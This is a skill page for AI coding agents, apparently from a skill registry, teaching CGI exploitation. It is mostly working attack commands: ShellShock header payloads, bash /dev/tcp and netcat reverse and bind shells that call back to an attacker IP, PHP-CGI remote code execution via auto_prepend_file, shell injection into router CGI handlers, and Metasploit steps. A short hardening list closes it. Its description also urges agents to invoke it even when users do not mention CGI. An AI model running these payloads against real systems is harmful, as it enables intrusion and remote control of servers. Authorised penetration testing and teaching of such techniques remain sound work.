# Cgi Pentesting

> How to test and exploit CGI vulnerabilities in web applications. Use this skill whenever the user mentions CGI scripts, ShellShock, Perl web scripts, .cgi endpoints, Apache CGI modules, or wants to test for command injection in web forms. This includes testing centralized CGI dispatchers, old PHP CGI vulnerabilities, and HTTP header-based attacks. Make sure to use this skill for any web pentesting task involving CGI endpoints, even if the user doesn't explicitly mention "CGI" but describes symptoms like parameter injection in web forms or unusual HTTP header behavior.

- Skill: `abelrguezr/cgi-pentesting` (Agent Skill, multi-file: 5 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/cgi-pentesting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/cgi-pentesting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/cgi-pentesting

---


# CGI Pentesting

A skill for testing and exploiting Common Gateway Interface (CGI) vulnerabilities in web applications.

## When to Use This Skill

Use this skill when:
- Testing web applications with `.cgi` endpoints or `/cgi-bin/` directories
- Investigating potential ShellShock vulnerabilities
- Analyzing centralized CGI dispatchers with selector parameters
- Testing old PHP versions with CGI enabled
- Performing HTTP header-based attacks (User-Agent, Cookie, Proxy)
- Enumerating CGI scripts on a target
- Testing for command injection in web forms

## Core Concepts

### What are CGI Scripts?

CGI scripts are typically Perl scripts that execute on the server when accessed via a web browser. If you can upload and execute `.cgi` files, you can potentially achieve remote code execution.

### Key Vulnerability Types

1. **ShellShock** - Bash environment variable injection
2. **Parameter Injection** - Command injection via CGI parameters
3. **PHP CGI RCE** - Old PHP versions with CGI enabled
4. **Header Injection** - HTTP headers passed as environment variables
5. **Centralized Dispatcher Exploits** - Single endpoint routing vulnerabilities

## Testing Methodology

### Step 1: Enumerate CGI Endpoints

First, identify all CGI scripts on the target:

```bash
# Use Nikto with all plugins
nikto -h <target> -C all

# Use Nmap for CGI discovery
nmap -p 80 --script http-enum <target>

# Manual enumeration of common paths
# /cgi-bin/
# /cgi/
# /scripts/
# /bin/
```

### Step 2: Test for ShellShock

ShellShock affects Bash and allows command execution through environment variables.

#### Detection Methods

**Nmap Script:**
```bash
nmap <target> -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```

**Curl Tests:**

*Reflected (easiest to detect):*
```bash
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://<target>/cgi-bin/admin.cgi 2>/dev/null | grep 'VULNERABLE'
```

*Blind (time-based):*
```bash
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://<target>/cgi-bin/admin.cgi
# If response takes 5+ seconds, likely vulnerable
```

*Out-of-Band (reverse connection):*
```bash
# Start listener first
nc -lvnp 4242

# Then send payload
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/<YOUR_IP>/4242 0>&1' http://<target>/cgi-bin/user.sh
```

#### Automated Testing

Use the `shellshock-test.sh` script for comprehensive testing:

```bash
./scripts/shellshock-test.sh <target> <cgi-path>
```

### Step 3: Test Centralized CGI Dispatchers

Many embedded devices use a single CGI endpoint with selector parameters:

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

topicurl=<handler>&param=value
```

#### Exploitation Patterns

**1. Option/Flag Injection:**
```bash
# Flip argv of downstream tools
topicurl=<handler>&param=-n
```

**2. Parameter-to-Shell Injection:**
```bash
# When handler concatenates into shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
```

**3. Validator Bypass → File Write:**
```bash
# In file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
```

#### Enumeration Strategy

1. Scrape JavaScript/HTML for handler names
2. Brute-force with wordlists
3. Unpack firmware and grep for handler strings
4. Test unauthenticated reachability of handlers
5. Focus on handlers that invoke system utilities or touch files

### Step 4: Test Old PHP CGI Vulnerabilities

CVE-2012-1823 and CVE-2012-2311 affect PHP < 5.3.12 / < 5.4.2 with CGI enabled.

#### Detection

Access a PHP file without parameters (especially without `=`):

```bash
# Source code disclosure
curl "http://<target>/index.php?-s"
```

If source code appears, the server is vulnerable.

#### Exploitation

```bash
# RCE via auto_prepend_file
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://<target>/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```

Use the `php-cgi-test.sh` script for automated testing:

```bash
./scripts/php-cgi-test.sh <target> <php-file>
```

### Step 5: HTTP Header Attacks

CGI creates environment variables from HTTP headers. Exploit this:

#### Proxy/MitM Attack

```bash
# Send Proxy header to redirect server requests
curl -H 'Proxy: <YOUR_IP>:<PORT>' http://<target>/cgi-bin/script.cgi

# On your machine, start a proxy to capture requests
proxychains -c <your-proxy-tool>
```

#### User-Agent Injection

```bash
curl -H 'User-Agent: () { :; }; <command>' http://<target>/cgi-bin/script.cgi
```

#### Cookie Injection

```bash
curl -H 'Cookie: () { :;}; <command>' http://<target>/cgi-bin/script.cgi
```

## Exploitation Techniques

### Reverse Shells

**Using Curl:**
```bash
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/<YOUR_IP>/80 0>&1' http://<target>/cgi-bin/admin.cgi
```

**Using Netcat:**
```bash
# Bind shell
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc <target> 80

# Reverse shell
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc <YOUR_IP> 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc <target> 80
```

### Metasploit

```bash
use multi/http/apache_mod_cgi_bash_env_exec
set targeturi /cgi-bin/admin.cgi
set rhosts <target>
run
```

## Detection and Hardening

### What to Watch For

- Unauthenticated requests to centralized CGI endpoints
- Parameters beginning with `-` (argv injection attempts)
- Old Apache versions with `cgi_mod` enabled
- PHP versions < 5.3.12 with CGI enabled
- Environment variable manipulation in HTTP headers

### Hardening Recommendations

1. **Authentication**: Enforce on all state-changing handlers
2. **Validation**: Use strict allowlists, types, and length limits
3. **Input Sanitization**: Never pass user-controlled strings as command-line flags
4. **Updates**: Keep Apache, PHP, and Bash updated
5. **Monitoring**: Flag suspicious CGI parameter patterns

## Scripts

### Available Scripts

- `scripts/shellshock-test.sh` - Comprehensive ShellShock testing
- `scripts/cgi-enumerate.sh` - CGI endpoint enumeration
- `scripts/php-cgi-test.sh` - PHP CGI vulnerability testing

### Using Scripts

All scripts are located in the `scripts/` directory. Make them executable:

```bash
chmod +x scripts/*.sh
```

Then run with appropriate parameters:

```bash
./scripts/shellshock-test.sh <target> <cgi-path>
./scripts/cgi-enumerate.sh <target>
./scripts/php-cgi-test.sh <target> <php-file>
```

## References

- [Unit 42 – TOTOLINK X6000R Vulnerabilities](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
- [ShellShock CVE-2014-6271](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271)
- [PHP CGI RCE CVE-2012-1823](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1823)
- [PHP CGI RCE CVE-2012-2311](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2311)
- [Shellshocker Tool](https://github.com/liamim/shellshocker)